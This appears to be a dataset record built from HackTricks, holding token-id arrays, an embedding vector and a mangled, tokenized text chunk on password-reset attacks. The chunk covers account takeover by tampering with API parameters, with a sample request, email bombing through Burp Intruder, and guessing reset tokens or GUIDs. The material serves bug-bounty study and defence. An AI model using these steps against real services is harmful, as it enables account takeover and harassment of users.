[ 2487, 1000, 1025, 4254, 10760, 6778, 2097, 4374, 1996, 24391, 4957, 1999, 2037, 10373, 1010, 1998, 1010, 2043, 13886, 1010, 2097, 17271, 1996, 5310, 1521, 1055, 20786, 25141, 4957, 1013, 19204, 2000, 1996, 17346, 1010, 2877, 2000, 2440, 407...
hack_tricks
183.txt
1
- just - 10 - minutes - of - bug - bounty / https : / / twitter. com / hussein98d / status / 1254888748216655872changing email and password of any user through api parametersexploitationattacker have to login with their account and go to the change password functionstart the burp suite and intercept the requestafter intercepting the request sent it to repeater and modify parameters email and passwordpost / api / changepass [... ] ( " form " : { " email " : " [ email protected ] ", " password " : " 12345678 " } ) referencehttps : / / medium. com / @ adeshkolte / full - account - takeover - changing - email - and - password - of - any - user - through - api - parameters - 3d527ab27240no rate limiting : email bombingexploitationstart the burp suite and intercept the password reset requestsend to intruderuse null payloadreferencehttps : / / hackerone. com / reports / 280534https : / / hackerone. com / reports / 794395find out how password reset token is generatedfigure out the pattern of password reset tokenif itgenerated based timestampgenerated based on the useridgenerated based on email of usergenerated based on firstname and lastnamegenerated based on date of birthgenerated based on cryptographyuse burp sequencer to find the randomness or predictability of tokens. guessable guidthere are different types of guids : version 0 : only seen in the nil guid ( " 00000000 - 0000 - 0000 - 0000 - 000000000000 " ). version 1 : the guid is generated in a predictable manner based on : the current timea randomly generated " clock sequence " which remains constant between guids during the uptime of the generating systema " node id ", which is generated based on the system's mac address if it is availableversion 3 : the guid is generated using an md5 hash of a provided name and namespace. version 4 : the guid is randomly generated. version 5 : the guid is generated using a sha1 hash of a provided name and namespace. it's possible to take a look to a guid and find out its version,
[ 0.22428598999977112, -0.1417042762041092, -0.263395756483078, 0.556605339050293, -0.3145267963409424, -0.35608136653900146, -0.03551006689667702, 0.8083292841911316, 0.12826058268547058, 1.2442829608917236, -0.022923387587070465, -0.10917122662067413, 0.6315048336982727, -0.330329328775405...
[ 1011, 2074, 1011, 2184, 1011, 2781, 1011, 1997, 1011, 11829, 1011, 17284, 1013, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 16543, 2683, 2620, 2094, 1013, 3570, 1013, 8732, 18139, 2620, 2620, 2581, 18139, 17465, 28756, 24087, 2620, 25...
hack_tricks
183.txt
2